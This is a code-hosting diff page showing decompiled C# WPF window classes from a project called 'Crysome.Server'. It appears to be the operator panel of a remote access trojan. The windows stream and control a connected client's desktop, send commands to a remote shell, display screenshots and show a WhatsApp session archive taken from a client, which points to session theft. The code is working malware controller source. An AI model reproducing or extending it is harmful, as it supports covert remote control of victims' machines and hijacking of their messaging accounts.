((Window)this).WindowState = WindowState.Maximized;
|
||||
((ContentControl)(object)MaximizeBtn).Content = "❒";
|
||||
((FrameworkElement)(object)MaximizeBtn).ToolTip = "Restore";
|
||||
}
|
||||
}
|
||||
|
||||
private void CloseBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((Window)this).Close();
|
||||
}
|
||||
|
||||
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
((Window)this).DragMove();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void ImageToRemoteCoords(Point p, out int x, out int y)
|
||||
{
|
||||
double actualWidth = DesktopViewbox.ActualWidth;
|
||||
double actualHeight = DesktopViewbox.ActualHeight;
|
||||
if (actualWidth <= 0.0 || actualHeight <= 0.0 || _remoteWidth <= 0 || _remoteHeight <= 0)
|
||||
{
|
||||
x = 0;
|
||||
y = 0;
|
||||
return;
|
||||
}
|
||||
double num = Math.Min(actualWidth / (double)_remoteWidth, actualHeight / (double)_remoteHeight);
|
||||
double num2 = (double)_remoteWidth * num;
|
||||
double num3 = (double)_remoteHeight * num;
|
||||
double num4 = (actualWidth - num2) / 2.0;
|
||||
double num5 = (actualHeight - num3) / 2.0;
|
||||
x = (int)((p.X - num4) / num);
|
||||
y = (int)((p.Y - num5) / num);
|
||||
if (x < 0)
|
||||
{
|
||||
x = 0;
|
||||
}
|
||||
if (x >= _remoteWidth)
|
||||
{
|
||||
x = _remoteWidth - 1;
|
||||
}
|
||||
if (y < 0)
|
||||
{
|
||||
y = 0;
|
||||
}
|
||||
if (y >= _remoteHeight)
|
||||
{
|
||||
y = _remoteHeight - 1;
|
||||
}
|
||||
}
|
||||
|
||||
private void DesktopImage_MouseMove(object sender, MouseEventArgs e)
|
||||
{
|
||||
//IL_005e: Unknown result type (might be due to invalid IL or missing references)
|
||||
if (!_streaming)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ToggleSwitch mouseControlSwitch = MouseControlSwitch;
|
||||
if (mouseControlSwitch != null && ((ToggleButton)(object)mouseControlSwitch).IsChecked == true)
|
||||
{
|
||||
DateTime utcNow = DateTime.UtcNow;
|
||||
if (!((utcNow - _lastMouseMove).TotalMilliseconds < 16.0))
|
||||
{
|
||||
_lastMouseMove = utcNow;
|
||||
ImageToRemoteCoords(e.GetPosition(DesktopViewbox), out var x, out var y);
|
||||
_vm.SendRemoteInput(_client, 0, x, y, 0);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void DesktopImage_MouseDown(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
//IL_0030: Unknown result type (might be due to invalid IL or missing references)
|
||||
if (_streaming)
|
||||
{
|
||||
ToggleSwitch mouseControlSwitch = MouseControlSwitch;
|
||||
if (mouseControlSwitch != null && ((ToggleButton)(object)mouseControlSwitch).IsChecked == true)
|
||||
{
|
||||
ImageToRemoteCoords(e.GetPosition(DesktopViewbox), out var x, out var y);
|
||||
int buttonOrKey = ((e.ChangedButton == MouseButton.Left) ? 1 : 2);
|
||||
_vm.SendRemoteInput(_client, 1, x, y, buttonOrKey);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void DesktopImage_MouseUp(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
//IL_0030: Unknown result type (might be due to invalid IL or missing references)
|
||||
if (_streaming)
|
||||
{
|
||||
ToggleSwitch mouseControlSwitch = MouseControlSwitch;
|
||||
if (mouseControlSwitch != null && ((ToggleButton)(object)mouseControlSwitch).IsChecked == true)
|
||||
{
|
||||
ImageToRemoteCoords(e.GetPosition(DesktopViewbox), out var x, out var y);
|
||||
int buttonOrKey = ((e.ChangedButton == MouseButton.Left) ? 1 : 2);
|
||||
_vm.SendRemoteInput(_client, 2, x, y, buttonOrKey);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void DesktopArea_Focus(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
DesktopArea?.Focus();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/remotedesktopwindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_007d: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0087: Expected O, but got Unknown
|
||||
//IL_00a1: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00ab: Expected O, but got Unknown
|
||||
//IL_00c5: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00cf: Expected O, but got Unknown
|
||||
//IL_00e9: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00f3: Expected O, but got Unknown
|
||||
//IL_010d: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0117: Expected O, but got Unknown
|
||||
//IL_01fc: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0206: Expected O, but got Unknown
|
||||
//IL_0209: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0213: Expected O, but got Unknown
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
|
||||
break;
|
||||
case 2:
|
||||
TitleText = (TextBlock)target;
|
||||
break;
|
||||
case 3:
|
||||
ScreenCombo = (ComboBox)target;
|
||||
break;
|
||||
case 4:
|
||||
StartBtn = (Button)target;
|
||||
((ButtonBase)(object)StartBtn).Click += StartBtn_Click;
|
||||
break;
|
||||
case 5:
|
||||
StopBtn = (Button)target;
|
||||
((ButtonBase)(object)StopBtn).Click += StopBtn_Click;
|
||||
break;
|
||||
case 6:
|
||||
MinimizeBtn = (Button)target;
|
||||
((ButtonBase)(object)MinimizeBtn).Click += MinimizeBtn_Click;
|
||||
break;
|
||||
case 7:
|
||||
MaximizeBtn = (Button)target;
|
||||
((ButtonBase)(object)MaximizeBtn).Click += MaximizeBtn_Click;
|
||||
break;
|
||||
case 8:
|
||||
CloseBtn = (Button)target;
|
||||
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
|
||||
break;
|
||||
case 9:
|
||||
DesktopArea = (Border)target;
|
||||
DesktopArea.MouseLeftButtonDown += DesktopArea_Focus;
|
||||
break;
|
||||
case 10:
|
||||
DesktopViewbox = (Viewbox)target;
|
||||
break;
|
||||
case 11:
|
||||
DesktopImage = (Image)target;
|
||||
DesktopImage.MouseMove += DesktopImage_MouseMove;
|
||||
DesktopImage.MouseLeftButtonDown += DesktopImage_MouseDown;
|
||||
DesktopImage.MouseLeftButtonUp += DesktopImage_MouseUp;
|
||||
DesktopImage.MouseRightButtonDown += DesktopImage_MouseDown;
|
||||
DesktopImage.MouseRightButtonUp += DesktopImage_MouseUp;
|
||||
break;
|
||||
case 12:
|
||||
StatusText = (TextBlock)target;
|
||||
break;
|
||||
case 13:
|
||||
QualityText = (TextBlock)target;
|
||||
break;
|
||||
case 14:
|
||||
MouseControlSwitch = (ToggleSwitch)target;
|
||||
break;
|
||||
case 15:
|
||||
KeyboardControlSwitch = (ToggleSwitch)target;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,143 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Controls.Primitives;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using Crysome.Server.Model;
|
||||
using Crysome.Server.ViewModel;
|
||||
using Wpf.Ui.Controls;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class RemoteShellWindow : FluentWindow, IComponentConnector
|
||||
{
|
||||
private readonly ClientInfo _client;
|
||||
|
||||
private readonly ManageClientsViewModel _vm;
|
||||
|
||||
internal TextBlock TitleText;
|
||||
|
||||
internal Button CloseBtn;
|
||||
|
||||
internal TextBox OutputBox;
|
||||
|
||||
internal TextBox CommandBox;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public RemoteShellWindow(ClientInfo client, ManageClientsViewModel vm)
|
||||
{
|
||||
InitializeComponent();
|
||||
_client = client;
|
||||
_vm = vm;
|
||||
((Window)this).Title = "Remote Shell — " + (client?.Address ?? "?");
|
||||
TitleText.Text = ((Window)this).Title;
|
||||
AppendOutput("Remote shell ready. Type a command and press Enter or click Send.\r\n");
|
||||
CommandBox.Focus();
|
||||
}
|
||||
|
||||
private void AppendOutput(string text)
|
||||
{
|
||||
OutputBox.AppendText(text);
|
||||
OutputBox.ScrollToEnd();
|
||||
}
|
||||
|
||||
private void SendCommand()
|
||||
{
|
||||
string text = (CommandBox.Text ?? "").Trim();
|
||||
if (!string.IsNullOrEmpty(text))
|
||||
{
|
||||
CommandBox.Clear();
|
||||
AppendOutput("> " + text + "\r\n");
|
||||
_vm.SendShellCommand(_client, text, delegate(string output)
|
||||
{
|
||||
AppendOutput(output + "\r\n");
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
private void SendBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
SendCommand();
|
||||
}
|
||||
|
||||
private void CommandBox_KeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0007: Invalid comparison between Unknown and I4
|
||||
if ((int)e.Key == 6)
|
||||
{
|
||||
e.Handled = true;
|
||||
SendCommand();
|
||||
}
|
||||
}
|
||||
|
||||
private void CloseBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((Window)this).Close();
|
||||
}
|
||||
|
||||
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
((Window)this).DragMove();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/remoteshellwindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_004c: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0056: Expected O, but got Unknown
|
||||
//IL_00a0: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00b6: Expected O, but got Unknown
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
|
||||
break;
|
||||
case 2:
|
||||
TitleText = (TextBlock)target;
|
||||
break;
|
||||
case 3:
|
||||
CloseBtn = (Button)target;
|
||||
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
|
||||
break;
|
||||
case 4:
|
||||
OutputBox = (TextBox)target;
|
||||
break;
|
||||
case 5:
|
||||
CommandBox = (TextBox)target;
|
||||
CommandBox.KeyDown += CommandBox_KeyDown;
|
||||
break;
|
||||
case 6:
|
||||
((ButtonBase)(Button)target).Click += SendBtn_Click;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Controls.Primitives;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using System.Windows.Media.Imaging;
|
||||
using Wpf.Ui.Controls;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class ScreenshotViewerWindow : FluentWindow, IComponentConnector
|
||||
{
|
||||
internal TextBlock TitleText;
|
||||
|
||||
internal Button CloseBtn;
|
||||
|
||||
internal Image ScreenshotImage;
|
||||
|
||||
internal TextBlock StatusText;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public ScreenshotViewerWindow(string title, byte[] imageData)
|
||||
{
|
||||
InitializeComponent();
|
||||
((Window)this).Title = title ?? "Screenshot";
|
||||
TitleText.Text = title ?? "Screenshot";
|
||||
if (imageData != null && imageData.Length != 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
BitmapImage bitmapImage = new BitmapImage();
|
||||
bitmapImage.BeginInit();
|
||||
bitmapImage.StreamSource = new MemoryStream(imageData);
|
||||
bitmapImage.CacheOption = BitmapCacheOption.OnLoad;
|
||||
bitmapImage.EndInit();
|
||||
((Freezable)bitmapImage).Freeze();
|
||||
ScreenshotImage.Source = bitmapImage;
|
||||
StatusText.Text = $"{bitmapImage.PixelWidth} × {bitmapImage.PixelHeight}";
|
||||
return;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
StatusText.Text = "Failed to load image: " + ex.Message;
|
||||
return;
|
||||
}
|
||||
}
|
||||
StatusText.Text = "No image data received.";
|
||||
}
|
||||
|
||||
private void CloseBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((Window)this).Close();
|
||||
}
|
||||
|
||||
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
((Window)this).DragMove();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/screenshotviewerwindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_0045: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_004f: Expected O, but got Unknown
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
|
||||
break;
|
||||
case 2:
|
||||
TitleText = (TextBlock)target;
|
||||
break;
|
||||
case 3:
|
||||
CloseBtn = (Button)target;
|
||||
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
|
||||
break;
|
||||
case 4:
|
||||
ScreenshotImage = (Image)target;
|
||||
break;
|
||||
case 5:
|
||||
StatusText = (TextBlock)target;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Markup;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class SettingsTab : UserControl, IComponentConnector
|
||||
{
|
||||
private bool _contentLoaded;
|
||||
|
||||
public SettingsTab()
|
||||
{
|
||||
InitializeComponent();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/settingstab.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,103 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Markup;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class WhatsAppSessionWindow : Window, IComponentConnector
|
||||
{
|
||||
private readonly string _zipPath;
|
||||
|
||||
internal TextBlock SubtitleText;
|
||||
|
||||
internal TextBlock ClientLabel;
|
||||
|
||||
internal TextBlock SizeLabel;
|
||||
|
||||
internal TextBlock PathLabel;
|
||||
|
||||
internal Button OpenFolderBtn;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public WhatsAppSessionWindow(string zipPath, string clientName, long sizeBytes)
|
||||
{
|
||||
InitializeComponent();
|
||||
_zipPath = zipPath;
|
||||
SubtitleText.Text = "From " + clientName;
|
||||
ClientLabel.Text = clientName;
|
||||
SizeLabel.Text = $"{(double)sizeBytes / 1024.0 / 1024.0:F2} MB ({sizeBytes:N0} bytes)";
|
||||
PathLabel.Text = zipPath;
|
||||
PathLabel.ToolTip = zipPath;
|
||||
}
|
||||
|
||||
private void OpenFolderBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
string directoryName = Path.GetDirectoryName(_zipPath);
|
||||
if (Directory.Exists(directoryName))
|
||||
{
|
||||
Process.Start("explorer.exe", directoryName);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show("Cannot open folder: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private void CloseBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
Close();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/whatsappsessionwindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
SubtitleText = (TextBlock)target;
|
||||
break;
|
||||
case 2:
|
||||
ClientLabel = (TextBlock)target;
|
||||
break;
|
||||
case 3:
|
||||
SizeLabel = (TextBlock)target;
|
||||
break;
|
||||
case 4:
|
||||
PathLabel = (TextBlock)target;
|
||||
break;
|
||||
case 5:
|
||||
OpenFolderBtn = (Button)target;
|
||||
OpenFolderBtn.Click += OpenFolderBtn_Click;
|
||||
break;
|
||||
case 6:
|
||||
((Button)target).Click += CloseBtn_Click;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user